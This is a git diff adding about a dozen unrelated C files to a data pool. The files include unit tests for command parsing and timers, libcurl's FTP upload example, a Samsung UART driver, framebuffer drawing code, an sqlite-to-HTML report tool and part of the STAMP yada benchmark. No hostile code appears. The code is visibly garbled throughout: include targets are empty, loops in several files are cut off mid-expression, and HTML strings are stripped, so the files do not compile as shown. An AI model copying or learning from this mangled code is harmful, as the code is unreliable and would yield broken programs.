\"args here\""; + assert_string_equal(CommandArg0(t12), "c:\\Windows\\System32 with space\\cmd.exe"); + + char *t13 = "\\\\mycommand"; + assert_string_equal(CommandArg0(t13), "\\\\mycommand"); + + char *t14 = "\\\\myhost\\share\\command.exe"; + assert_string_equal(CommandArg0(t14), "\\\\myhost\\share\\command.exe"); + + char *t15 = "\"\\\\myhost\\share\\command.exe\""; + assert_string_equal(CommandArg0(t15), "\\\\myhost\\share\\command.exe"); + + + /* bad input */ + + char *b1 = "\"/bin/echo 123"; + assert_string_equal(CommandArg0(b1), "/bin/echo 123"); + + char *b2 = "/bin/echo\" 123"; + assert_string_equal(CommandArg0(b2), "/bin/echo\""); + + char *b3 = ""; + assert_string_equal(CommandArg0(b3), ""); + +} + +int main() +{ + PRINT_TEST_BANNER(); + const UnitTest tests[] = + { + unit_test(test_split_empty), + unit_test(test_split_easy), + unit_test(test_split_quoted_beginning), + unit_test(test_split_quoted_middle), + unit_test(test_split_quoted_end), + unit_test(test_complex_quoting), + unit_test(test_arguments_resize_for_null), + unit_test(test_arguments_resize), + unit_test(test_command_promiser), + }; + + return run_tests(tests); +} diff --git a/pool/shard011/C/0141758_ops.c b/pool/shard011/C/0141758_ops.c new file mode 100644 index 0000000000000000000000000000000000000000..523eb9dbc0003091522b7ef86c1e617d4eb71d2e --- /dev/null +++ b/pool/shard011/C/0141758_ops.c @@ -0,0 +1,61 @@ +#include "c.h" + +/* ops [ {csilhfdxp}=n ]... + * prints lcc dag operator set for a given set of type sizes. + */ + +static char rcsid[] = "$Id$"; + +static char list[] = { 'c', 's', 'i', 'l', 'h', 'f', 'd', 'x', 'p', 0 }; +static int sizes[] = { 1, 1, 1, 2, 2, 2, 2, 2, 1 }; + +static int doop(int op, int type, const char *sz, const char *opname) { + int count = 0; + static int last; + + if (op == LOAD) + return 0; + if (last != 0 && last != op) + printf("\n"); + last = op; + if (type == B || type == V) { + printf(" %s=%d", opname, op + type); + count++; + } else { + int i, done = 0; + const char *s; + for (i = 0; sz[i] != '\0' && (s = strchr(list, sz[i])) != NULL; i++) { + int n = sizes[s-list]; + if ((done&(1< 0 && (s = strchr(list, c)) != NULL) + sizes[s-list] = n; + else { + fprintf(stderr, "usage: %s [ {csilhfdxp}=n ]...\n", argv[0]); + exit(EXIT_FAILURE); + } + } +#define gop(x,n) +#define op(x,t,s) count += doop(x,t,#s,#x #t); +#include "ops.h" +#undef gop +#undef op + fprintf(stderr, "%d operators\n", count); + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0141759_test_timer.c b/pool/shard011/C/0141759_test_timer.c new file mode 100644 index 0000000000000000000000000000000000000000..422c604c18c9e23e8e098292bab7cfb7ec09c656 --- /dev/null +++ b/pool/shard011/C/0141759_test_timer.c @@ -0,0 +1,96 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "timer.h" + +START_TEST(test_timer_init_and_destroy) +{ + timer t; + double quants[] = {0.5, 0.90, 0.99}; + int res = init_timer(0.01, (double*)&quants, 3, &t); + fail_unless(res == 0); + + res = destroy_timer(&t); + fail_unless(res == 0); +} +END_TEST + +START_TEST(test_timer_init_add_destroy) +{ + timer t; + double quants[] = {0.5, 0.90, 0.99}; + int res = init_timer(0.01, (double*)&quants, 3, &t); + fail_unless(res == 0); + + fail_unless(timer_add_sample(&t, 100, 1.0) == 0); + fail_unless(timer_count(&t) == 1); + fail_unless(timer_sum(&t) == 100); + fail_unless(timer_squared_sum(&t) == 10000); + fail_unless(timer_min(&t) == 100); + fail_unless(timer_max(&t) == 100); + fail_unless(timer_mean(&t) == 100); + fail_unless(timer_stddev(&t) == 0); + fail_unless(timer_query(&t, 0.5) == 100); + + res = destroy_timer(&t); + fail_unless(res == 0); +} +END_TEST + +START_TEST(test_timer_add_loop) +{ + timer t; + double quants[] = {0.5, 0.90, 0.99}; + int res = init_timer(0.01, (double*)&quants, 3, &t); + fail_unless(res == 0); + + for (int i=1; i<=100; i++) + fail_unless(timer_add_sample(&t, i, 1.0) == 0); + + fail_unless(timer_count(&t) == 100); + fail_unless(timer_sum(&t) == 5050); + fail_unless(timer_squared_sum(&t) == 338350); + fail_unless(timer_min(&t) == 1); + fail_unless(timer_max(&t) == 100); + fail_unless(timer_mean(&t) == 50.5); + fail_unless(round(timer_stddev(&t)*1000)/1000 == 29.011); + fail_unless(timer_query(&t, 0.5) == 50); + fail_unless(timer_query(&t, 0.90) >= 89 && timer_query(&t, 0.90) <= 91); + fail_unless(timer_query(&t, 0.99) >= 98 && timer_query(&t, 0.99) <= 100); + + res = destroy_timer(&t); + fail_unless(res == 0); +} +END_TEST + +START_TEST(test_timer_sample_rate) +{ + timer t; + double quants[] = {0.5, 0.90, 0.99}; + int res = init_timer(0.01, (double*)&quants, 3, &t); + fail_unless(res == 0); + + for (int i=1; i<=100; i++) + fail_unless(timer_add_sample(&t, i, 0.5) == 0); + + fail_unless(timer_count(&t) == 200); + fail_unless(timer_sum(&t) == 5050); + fail_unless(timer_squared_sum(&t) == 338350); + fail_unless(timer_min(&t) == 1); + fail_unless(timer_max(&t) == 100); + fail_unless(timer_mean(&t) == 50.5); + fail_unless(round(timer_stddev(&t)*1000)/1000 == 29.011); + fail_unless(timer_query(&t, 0.5) == 50); + fail_unless(timer_query(&t, 0.90) >= 89 && timer_query(&t, 0.90) <= 91); + fail_unless(timer_query(&t, 0.99) >= 98 && timer_query(&t, 0.99) <= 100); + + res = destroy_timer(&t); + fail_unless(res == 0); +} +END_TEST diff --git a/pool/shard011/C/0141760_ftpupload.c b/pool/shard011/C/0141760_ftpupload.c new file mode 100644 index 0000000000000000000000000000000000000000..b882f7018487c54916d26a3643320c82858801ed --- /dev/null +++ b/pool/shard011/C/0141760_ftpupload.c @@ -0,0 +1,139 @@ +/*************************************************************************** + * _ _ ____ _ + * Project ___| | | | _ \| | + * / __| | | | |_) | | + * | (__| |_| | _ <| |___ + * \___|\___/|_| \_\_____| + * + * Copyright (C) 1998 - 2016, Daniel Stenberg, , et al. + * + * This software is licensed as described in the file COPYING, which + * you should have received as part of this distribution. The terms + * are also available at https://curl.haxx.se/docs/copyright.html. + * + * You may opt to use, copy, modify, merge, publish, distribute and/or sell + * copies of the Software, and permit persons to whom the Software is + * furnished to do so, under the terms of the COPYING file. + * + * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY + * KIND, either express or implied. + * + ***************************************************************************/ +#include +#include + +#include +#include +#include +#include +#include +#ifdef WIN32 +#include BLIK_FAKEWIN_V_io_h //original-code: +#else +#include +#endif + +/* + * Performs an FTP upload and renames the file just after a successful + * transfer. + * + */ + +#define LOCAL_FILE "/tmp/uploadthis.txt" +#define UPLOAD_FILE_AS "while-uploading.txt" +#define REMOTE_URL "ftp://example.com/" UPLOAD_FILE_AS +#define RENAME_FILE_TO "renamed-and-fine.txt" + +/* NOTE: if you want this example to work on Windows with libcurl as a + DLL, you MUST also provide a read callback with CURLOPT_READFUNCTION. + Failing to do so will give you a crash since a DLL may not use the + variable's memory when passed in to it from an app like this. */ +static size_t read_callback(void *ptr, size_t size, size_t nmemb, void *stream) +{ + curl_off_t nread; + /* in real-world cases, this would probably get this data differently + as this fread() stuff is exactly what the library already would do + by default internally */ + size_t retcode = fread(ptr, size, nmemb, stream); + + nread = (curl_off_t)retcode; + + fprintf(stderr, "*** We read %" CURL_FORMAT_CURL_OFF_T + " bytes from file\n", nread); + return retcode; +} + +int main(void) +{ + CURL *curl; + CURLcode res; + FILE *hd_src; + struct stat file_info; + curl_off_t fsize; + + struct curl_slist *headerlist=NULL; + static const char buf_1 [] = "RNFR " UPLOAD_FILE_AS; + static const char buf_2 [] = "RNTO " RENAME_FILE_TO; + + /* get the file size of the local file */ + if(stat(LOCAL_FILE, &file_info)) { + printf("Couldnt open '%s': %s\n", LOCAL_FILE, strerror(errno)); + return 1; + } + fsize = (curl_off_t)file_info.st_size; + + printf("Local file size: %" CURL_FORMAT_CURL_OFF_T " bytes.\n", fsize); + + /* get a FILE * of the same file */ + hd_src = fopen(LOCAL_FILE, "rb"); + + /* In windows, this will init the winsock stuff */ + curl_global_init(CURL_GLOBAL_ALL); + + /* get a curl handle */ + curl = curl_easy_init(); + if(curl) { + /* build a list of commands to pass to libcurl */ + headerlist = curl_slist_append(headerlist, buf_1); + headerlist = curl_slist_append(headerlist, buf_2); + + /* we want to use our own read function */ + curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback); + + /* enable uploading */ + curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L); + + /* specify target */ + curl_easy_setopt(curl, CURLOPT_URL, REMOTE_URL); + + /* pass in that last of FTP commands to run after the transfer */ + curl_easy_setopt(curl, CURLOPT_POSTQUOTE, headerlist); + + /* now specify which file to upload */ + curl_easy_setopt(curl, CURLOPT_READDATA, hd_src); + + /* Set the size of the file to upload (optional). If you give a *_LARGE + option you MUST make sure that the type of the passed-in argument is a + curl_off_t. If you use CURLOPT_INFILESIZE (without _LARGE) you must + make sure that to pass in a type 'long' argument. */ + curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE, + (curl_off_t)fsize); + + /* Now run off and do what you've been told! */ + res = curl_easy_perform(curl); + /* Check for errors */ + if(res != CURLE_OK) + fprintf(stderr, "curl_easy_perform() failed: %s\n", + curl_easy_strerror(res)); + + /* clean up the FTP commands list */ + curl_slist_free_all (headerlist); + + /* always cleanup */ + curl_easy_cleanup(curl); + } + fclose(hd_src); /* close the local file */ + + curl_global_cleanup(); + return 0; +} diff --git a/pool/shard011/C/0141761_main.e.c b/pool/shard011/C/0141761_main.e.c new file mode 100644 index 0000000000000000000000000000000000000000..96c91f6d3cfcbc80b2d22d55202ddda136e85d29 --- /dev/null +++ b/pool/shard011/C/0141761_main.e.c @@ -0,0 +1,28 @@ +# 1 "main.c" +# 1 "" +# 1 "" +# 1 "/usr/include/stdc-predef.h" 1 3 4 +# 1 "" 2 +# 1 "main.c" + + +unsigned int nondet_uint(); +unsigned int SIZE;//=nondet_uint(); + +int main() { + int i, j, k, key; + int v[SIZE]; + for (j=1;j=0) && (v[i]>key)) { + if (i<2) + v[i+1] = v[i]; + i = i - 1; + } + v[i+1] = key; + } + for (k=1;k + +struct node +{ + struct node *next; + char *name; +} *list; + +struct node *list; +struct node *head (void); + +jmp_buf *bar (void); + +int baz (void) +{ + struct node *n; + int varseen = 0; + + list = head (); + for (n = list; n; n = n->next) + { + if (!varseen) + varseen = 1; + + jmp_buf *buf = bar (); /* { dg-bogus "may be used uninitialized" "" } */ + setjmp (*buf); + } + + if (!varseen) + return 0; + return 1; +} diff --git a/pool/shard011/C/0141763_TextInput.c b/pool/shard011/C/0141763_TextInput.c new file mode 100644 index 0000000000000000000000000000000000000000..819ee65df47ae8c142d8f1197c7d7ed1cfa188f4 --- /dev/null +++ b/pool/shard011/C/0141763_TextInput.c @@ -0,0 +1,127 @@ +#include "inc/mc.h" +#include "inc/mui.h" +#include "inc/gui.h" +#include "inc/popup.h" +#include "inc/ScreenMake.h" + +int fropon; +//////////////////////////////////////////////////////////////////////////////// +void empty_ghook(GUI *gui, int cmd) {}; + +void empty_locret(void) {} + +SOFTKEY_DESC empty_menu_sk[]= { { 0, 0, 0 } }; + +SOFTKEYSTAB empty_menu_skt = { + empty_menu_sk, 0 +}; + +void prep_hd(EDITCONTROL* ec) { + ec->ed_options.font = 2; + ec->ed_options.pen[3] = 100; + ec->ed_options.pen[2] = 0x80; +} +//////////////////////////////////////////////////////////////////////////////// + +IFN_RET_PROC txt_inp_proc; +int testfn; + +int txt_inp_onkey(GUI *gui, GUI_MSG *msg) { + if (fropon==0) { + if (!wsbuf) { + GeneralFuncF1(1); + return(0); + } + + EDITCONTROL ec; + if (msg->keys==26) { + ExtractEditControl(gui,2,&ec); + wstrcpy(wsbuf,ec.pWS); + if (!testfn || TestFileName(wsbuf)) { + if(txt_inp_proc)txt_inp_proc(wsbuf); + GeneralFuncF1(1); + } else { + MsgBoxError(1, (int) muitxt(ind_err_badname)); + CorFileName(wsbuf); + msg->keys = 0; + EDIT_SetTextToFocused(gui,wsbuf); + } + } + } else { + if (msg->keys==0xFFF) + return (0xFF); + + } + return(0); //Do standart keys +} + +HEADER_DESC txt_inp_hdr= {0,0,0,0,NULL,0,LGP_NULL}; +INPUTDIA_DESC txt_inp_desc= { + 1, + txt_inp_onkey, + empty_ghook, + (void *)empty_locret, + 0, + &empty_menu_skt, + {0,0,0,0}, + FONT_SMALL, + 100, + 101, + 0, + 0, + 0x40000000 +}; + +int TextInput(char *caption, char *prmpt, int TestFileName, WSHDR *wsname, IFN_RET_PROC retproc) { + DoScreen(); + + txt_inp_hdr.lgp_id = (int)caption; + txt_inp_proc = retproc; + testfn = TestFileName; + fropon=0; + WSHDR *buff=AllocWS(32); + + void *ma=malloc_adr(); + void *eq=AllocEQueue(ma,mfree_adr()); + EDITCONTROL ec; + PrepareEditControl(&ec); + + wsprintf(buff, _tc, prmpt); + ConstructEditControl(&ec,ECT_HEADER,ECF_APPEND_EOL,buff,32); + prep_hd(&ec); + AddEditControlToEditQend(eq,&ec,ma); + + ConstructEditControl(&ec,ECT_NORMAL_TEXT,ECF_NORMAL_STR,wsname,MAX_PATH); + AddEditControlToEditQend(eq,&ec,ma); + FreeWS(buff); + return CreateInputTextDialog(&txt_inp_desc,&txt_inp_hdr,eq,1,0); +} + + +void FullPatch(WSHDR *wsname) { + DoScreen(); + + txt_inp_hdr.lgp_id = (int) muitxt(ind_fullpatch); + txt_inp_proc = NULL; + fropon=1; + WSHDR *buff=AllocWS(32); + + void *ma=malloc_adr(); + void *eq=AllocEQueue(ma,mfree_adr()); + EDITCONTROL ec; + PrepareEditControl(&ec); + + wsprintf(buff, _tc, muitxt(ind_fullpatch)); + ConstructEditControl(&ec,ECT_HEADER,ECF_APPEND_EOL,buff,32); + prep_hd(&ec); + AddEditControlToEditQend(eq,&ec,ma); + + ConstructEditControl(&ec,ECT_NORMAL_TEXT,ECF_NORMAL_STR,wsname,MAX_PATH); + AddEditControlToEditQend(eq,&ec,ma); + CreateInputTextDialog(&txt_inp_desc,&txt_inp_hdr,eq,1,0); + + FreeWS(buff); +} + + + diff --git a/pool/shard011/C/0141764_s3c24a0.c b/pool/shard011/C/0141764_s3c24a0.c new file mode 100644 index 0000000000000000000000000000000000000000..786a067d62aceed1710c5e5a5884d10803951d31 --- /dev/null +++ b/pool/shard011/C/0141764_s3c24a0.c @@ -0,0 +1,118 @@ +/* linux/drivers/serial/s3c24a0.c + * + * Driver for Samsung S3C24A0 SoC onboard UARTs. + * + * Based on drivers/serial/s3c2410.c + * + * Author: Sandeep Patil + * + * Ben Dooks, Copyright (c) 2003-2005,2008 Simtec Electronics + * http://armlinux.simtec.co.uk/ + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. +*/ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include + +#include "samsung.h" + +static int s3c24a0_serial_setsource(struct uart_port *port, + struct s3c24xx_uart_clksrc *clk) +{ + unsigned long ucon = rd_regl(port, S3C2410_UCON); + + if (strcmp(clk->name, "uclk") == 0) + ucon |= S3C2410_UCON_UCLK; + else + ucon &= ~S3C2410_UCON_UCLK; + + wr_regl(port, S3C2410_UCON, ucon); + return 0; +} + +static int s3c24a0_serial_getsource(struct uart_port *port, + struct s3c24xx_uart_clksrc *clk) +{ + unsigned long ucon = rd_regl(port, S3C2410_UCON); + + clk->divisor = 1; + clk->name = (ucon & S3C2410_UCON_UCLK) ? "uclk" : "pclk"; + + return 0; +} + +static int s3c24a0_serial_resetport(struct uart_port *port, + struct s3c2410_uartcfg *cfg) +{ + dbg("s3c24a0_serial_resetport: port=%p (%08lx), cfg=%p\n", + port, port->mapbase, cfg); + + wr_regl(port, S3C2410_UCON, cfg->ucon); + wr_regl(port, S3C2410_ULCON, cfg->ulcon); + + /* reset both fifos */ + + wr_regl(port, S3C2410_UFCON, cfg->ufcon | S3C2410_UFCON_RESETBOTH); + wr_regl(port, S3C2410_UFCON, cfg->ufcon); + + return 0; +} + +static struct s3c24xx_uart_info s3c24a0_uart_inf = { + .name = "Samsung S3C24A0 UART", + .type = PORT_S3C2410, + .fifosize = 16, + .rx_fifomask = S3C24A0_UFSTAT_RXMASK, + .rx_fifoshift = S3C24A0_UFSTAT_RXSHIFT, + .rx_fifofull = S3C24A0_UFSTAT_RXFULL, + .tx_fifofull = S3C24A0_UFSTAT_TXFULL, + .tx_fifomask = S3C24A0_UFSTAT_TXMASK, + .tx_fifoshift = S3C24A0_UFSTAT_TXSHIFT, + .get_clksrc = s3c24a0_serial_getsource, + .set_clksrc = s3c24a0_serial_setsource, + .reset_port = s3c24a0_serial_resetport, +}; + +static int s3c24a0_serial_probe(struct platform_device *dev) +{ + return s3c24xx_serial_probe(dev, &s3c24a0_uart_inf); +} + +static struct platform_driver s3c24a0_serial_drv = { + .probe = s3c24a0_serial_probe, + .remove = __devexit_p(s3c24xx_serial_remove), + .driver = { + .name = "s3c24a0-uart", + .owner = THIS_MODULE, + }, +}; + +s3c24xx_console_init(&s3c24a0_serial_drv, &s3c24a0_uart_inf); + +static int __init s3c24a0_serial_init(void) +{ + return s3c24xx_serial_init(&s3c24a0_serial_drv, &s3c24a0_uart_inf); +} + +static void __exit s3c24a0_serial_exit(void) +{ + platform_driver_unregister(&s3c24a0_serial_drv); +} + +module_init(s3c24a0_serial_init); +module_exit(s3c24a0_serial_exit); + diff --git a/pool/shard011/C/0141765_fb_draw.c b/pool/shard011/C/0141765_fb_draw.c new file mode 100644 index 0000000000000000000000000000000000000000..961d27f8fc95a05fa8aa4cfda3aa388349b1a472 --- /dev/null +++ b/pool/shard011/C/0141765_fb_draw.c @@ -0,0 +1,150 @@ +#include "fb_draw.h" +#include + +#if 1 +struct fb_st { + struct fb_fix_screeninfo fix; + struct fb_var_screeninfo var; + unsigned long bpp; + int rowlen; + int bufsize; + int fd; + char *fbp; +}; +#endif + +static struct fb_st fb0; + + +int fb_open(char *fb_file) +{ + int ret; + + if (NULL == fb_file) { + fb0.fd = open("/dev/fb0", O_RDWR); + if (-1 == fb0.fd) { + perror("open /dev/fb0"); + goto error; + } + } + else { + printf("fb_open() fb: %s\n", fb_file); + fb0.fd = open(fb_file, O_RDWR); + if (-1 == fb0.fd) { + perror("open"); + goto error; + } + } + + /* get fb_var_screeninfo */ + ret = ioctl(fb0.fd, FBIOGET_VSCREENINFO, &fb0.var); + if (-1 == ret) { + perror("ioctl(fb0.var)"); + goto close_fd; + } + + fb0.bpp = fb0.var.bits_per_pixel / 8; + printf("fb0.bpp=%lu\n", fb0.bpp); + //rowlen = fb0.var.xres; + //if( rowlen == 1366 ) + // rowlen = 1376; + + /* get fb_fix_screeninfo */ + ioctl(fb0.fd, FBIOGET_FSCREENINFO, &fb0.fix); + if (-1 == ret) { + perror("ioctl(fb0.fix)"); + goto close_fd; + } + fb0.rowlen = fb0.fix.line_length / fb0.bpp; + fb0.bufsize = xres() * yres() * fb0.bpp; + + /* get framebuffer start address */ + fb0.fbp = mmap(NULL, fb0.fix.smem_len, PROT_READ | PROT_WRITE, MAP_SHARED, fb0.fd, 0); + if ((void *)-1 == fb0.fbp) { + perror("mmap"); + goto close_fd; + } + + return 0; + +close_fd: + close(fb0.fd); +error: + return -1; +} + +void fb_close() +{ + munmap(fb0.fbp, fb0.fix.smem_len); + close(fb0.fd); +} + +void fb_draw_point(int x, int y, unsigned color) +{ + unsigned long offset; + + offset = fb0.bpp * (x + y * fb0.rowlen ); + // fb0.var.xres + + //memset((void *)(fb0.fbp + offset), color, fb0.bpp*8); + + unsigned int i; + for(i=0; i>= 8; + } +} + +void fb_clear() +{ + memset( fb0.fbp, 0, fb0.fix.smem_len ); +} + +int xres(void) +{ + return fb0.var.xres; +} + +int yres(void) +{ + return fb0.var.yres; +} + +int fb_bpp(void) +{ + return fb0.var.bits_per_pixel; +} + +int fb_bufsize(void) +{ + return fb0.fix.smem_len; +} + +int fb_getfbdata(void *buf) +{ + memcpy(buf, fb0.fbp, fb0.fix.smem_len); + return fb0.fix.smem_len; +} + +int fb_putrawimg(void *buf, size_t img_size) +{ + if (img_size >= fb0.fix.smem_len) + { + memcpy(fb0.fbp, buf, fb0.fix.smem_len); + return fb0.fix.smem_len; + } + else + { + memcpy(fb0.fbp, buf, img_size); + return img_size; + } +} + +void fb_printinfo(void) +{ + printf("resolution=%dx%d, bufsize=%d, rowstride=%d\n" + "bpp=%lu\n", + xres(), yres(), fb_bufsize(), fb0.fix.line_length, fb0.bpp); +} + diff --git a/pool/shard011/C/0141766_Lexicon.c b/pool/shard011/C/0141766_Lexicon.c new file mode 100644 index 0000000000000000000000000000000000000000..0669bf81cec4cea75444358c57ff5250a8e1c614 --- /dev/null +++ b/pool/shard011/C/0141766_Lexicon.c @@ -0,0 +1,42 @@ +/* Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#define C_LUCY_LEXICON +#include "Lucy/Util/ToolSet.h" + +#include "Lucy/Index/Lexicon.h" + +Lexicon* +Lex_init(Lexicon *self, String *field) { + LexiconIVARS *const ivars = Lex_IVARS(self); + ivars->field = Str_Clone(field); + ABSTRACT_CLASS_CHECK(self, LEXICON); + return self; +} + +String* +Lex_Get_Field_IMP(Lexicon *self) { + return Lex_IVARS(self)->field; +} + +void +Lex_Destroy_IMP(Lexicon *self) { + LexiconIVARS *const ivars = Lex_IVARS(self); + DECREF(ivars->field); + SUPER_DESTROY(self, LEXICON); +} + + diff --git a/pool/shard011/C/0141767_gruppo.c b/pool/shard011/C/0141767_gruppo.c new file mode 100644 index 0000000000000000000000000000000000000000..4f3704a2312115a09fddfdf0ec6ece1c412a2e49 --- /dev/null +++ b/pool/shard011/C/0141767_gruppo.c @@ -0,0 +1,105 @@ +#include "gruppo.h" + +int sqlMain ( char *filebuffer ) +{ + regex_t rgx; + regmatch_t matches[SIZE_OF_MATCHES]; + int i, ret, rc, first = TRUE; + const char *regex = "\"]*.sqlite)\">([^/]*)"; + sqlite3 *db = NULL; + char *zErrMsg = 0, *tmp = filebuffer; + char finale[MAX_FILE_LENGTH] = { '\0' }; + ret = regcomp ( &rgx, regex, REG_ICASE | REG_EXTENDED ); + if ( ret ) + { + char buffer[100]; + regerror ( ret, &rgx, buffer, 100 ); + printf ( "regcomp() failed with '%s'\n", buffer ); + exit ( EXIT_FAILURE ); + } + printf ( "\n-----------------------------------------------------------------------------------------------------\n" ); + while ( ! ( ret = regexec ( &rgx, tmp, SIZE_OF_MATCHES, matches, 0 ) ) ) + { + char database[100]; + char sql[100]; + sqlquery query; + for ( i = 0; ( matches[i].rm_eo != -1 ) && i < SIZE_OF_MATCHES ; i++ ) + { + printf ( "\t%d: %.*s\n", + i, + matches[i].rm_eo - matches[i].rm_so, + tmp + matches[i].rm_so ); + } + if ( first == TRUE ) + { + strncpy ( finale, tmp, matches[MATCH_TOTALE].rm_so ); + first = FALSE; + } + else + { + strncat ( finale, tmp, matches[MATCH_TOTALE].rm_so ); + } + strncpy ( database, tmp + matches[MATCH_NOMEDB].rm_so, matches[MATCH_NOMEDB].rm_eo - matches[MATCH_NOMEDB].rm_so ); + printf ( "DATABASE: %s\n", database ); + if ( sqlite3_open ( database, &db ) ) + { + fprintf ( stderr, "\nCan't open database: %s\n", sqlite3_errmsg ( db ) ); + exit ( EXIT_FAILURE ); + } + printf ( "\nOpened database successfully\n" ); + strncpy ( sql, tmp + matches[MATCH_QUERY].rm_so, matches[MATCH_QUERY].rm_eo - matches[MATCH_QUERY].rm_so ); + printf ( "QUERY: %s\n", sql ); + query.noHeader = TRUE; + rc = sqlite3_exec ( db, sql, sqlcallback, ( void * ) & ( query ), &zErrMsg ); + if ( rc != SQLITE_OK ) + { + fprintf ( stderr, "\nN°:%d SQL error: %d %s\n", i, rc, zErrMsg ); + sqlite3_free ( zErrMsg ); + } + printf ( "\nOperation done successfully\n" ); + sqlite3_close ( db ); + strcat( finale, "" ); + strcat( finale, query.header ); + strcat( finale, query.table ); + strcat( finale, "
" ); + tmp += matches[MATCH_TOTALE].rm_eo; + printf ( "\n-----------------------------------------------------------------------------------------------------\n" ); + } + strncat( finale, tmp, strlen( tmp ) - 1 ); + FILE *fp = fopen( "result.html", "w" ); + if( fp != NULL ) + { + fputs( finale, fp ); + fclose( fp ); + return EXIT_SUCCESS; + } + else + return EXIT_FAILURE; +} + +static int sqlcallback ( void *data, int argc, char **argv, char **azColName ) +{ + sqlquery *query = ( sqlquery * ) data; + int i; + if ( query->noHeader == TRUE ) + { + strcpy ( query->header, "" ); + for ( i = 0; i < argc; i++ ) + { + strcat ( query->header, "" ); + strcat ( query->header, azColName[i] ); + strcat ( query->header, "" ); + } + strcat ( query->header, "" ); + query->noHeader = FALSE; + } + strcpy ( query->table, "" ); + for ( i = 0; i < argc; i++ ) + { + strcat ( query->table, "" ); + strcat ( query->table, argv[i] ? argv[i] : "NULL" ); + strcat ( query->table, "" ); + } + strcat ( query->table, "" ); + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0141768_yada.c b/pool/shard011/C/0141768_yada.c new file mode 100644 index 0000000000000000000000000000000000000000..6ab1515ce5ec114c650fe9c469573c2f0157afb4 --- /dev/null +++ b/pool/shard011/C/0141768_yada.c @@ -0,0 +1,363 @@ +/* ============================================================================= + * + * yada.c + * + * ============================================================================= + * + * Copyright (C) Stanford University, 2006. All Rights Reserved. + * Author: Chi Cao Minh + * + * ============================================================================= + * + * For the license of bayes/sort.h and bayes/sort.c, please see the header + * of the files. + * + * ------------------------------------------------------------------------ + * + * For the license of kmeans, please see kmeans/LICENSE.kmeans + * + * ------------------------------------------------------------------------ + * + * For the license of ssca2, please see ssca2/COPYRIGHT + * + * ------------------------------------------------------------------------ + * + * For the license of lib/mt19937ar.c and lib/mt19937ar.h, please see the + * header of the files. + * + * ------------------------------------------------------------------------ + * + * For the license of lib/rbtree.h and lib/rbtree.c, please see + * lib/LEGALNOTICE.rbtree and lib/LICENSE.rbtree + * + * ------------------------------------------------------------------------ + * + * Unless otherwise noted, the following license applies to STAMP files: + * + * Copyright (c) 2007, Stanford University + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * * Neither the name of Stanford University nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY STANFORD UNIVERSITY ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL STANFORD UNIVERSITY BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF + * THE POSSIBILITY OF SUCH DAMAGE. + * + * ============================================================================= + */ + + +#include +#include +#include +#include +#include "region.h" +#include "list.h" +#include "mesh.h" +#include "heap.h" +#include "thread.h" +#include "timer.h" +#include "tm.h" + + +#define PARAM_DEFAULT_INPUTPREFIX ("") +#define PARAM_DEFAULT_NUMTHREAD (1L) +#define PARAM_DEFAULT_ANGLE (20.0) + + +const char* global_inputPrefix = PARAM_DEFAULT_INPUTPREFIX; +long global_numThread = PARAM_DEFAULT_NUMTHREAD; +double global_angleConstraint = PARAM_DEFAULT_ANGLE; +mesh_t* global_meshPtr; +heap_t* global_workHeapPtr; +long global_totalNumAdded = 0; +long global_numProcess = 0; + + +/* ============================================================================= + * displayUsage + * ============================================================================= + */ +static void +displayUsage (const char* appName) +{ + printf("Usage: %s [options]\n", appName); + puts("\nOptions: (defaults)\n"); + printf(" a Min [a]ngle constraint (%lf)\n", PARAM_DEFAULT_ANGLE); + printf(" i [i]nput name prefix (%s)\n", PARAM_DEFAULT_INPUTPREFIX); + printf(" t Number of [t]hreads (%li)\n", PARAM_DEFAULT_NUMTHREAD); + exit(1); +} + + +/* ============================================================================= + * parseArgs + * ============================================================================= + */ +static void +parseArgs (long argc, char* const argv[]) +{ + long i; + long opt; + + opterr = 0; + + while ((opt = getopt(argc, argv, "a:i:t:")) != -1) { + switch (opt) { + case 'a': + global_angleConstraint = atof(optarg); + break; + case 'i': + global_inputPrefix = optarg; + break; + case 't': + global_numThread = atol(optarg); + break; + case '?': + default: + opterr++; + break; + } + } + + for (i = optind; i < argc; i++) { + fprintf(stderr, "Non-option argument: %s\n", argv[i]); + opterr++; + } + + if (opterr) { + displayUsage(argv[0]); + } +} + + 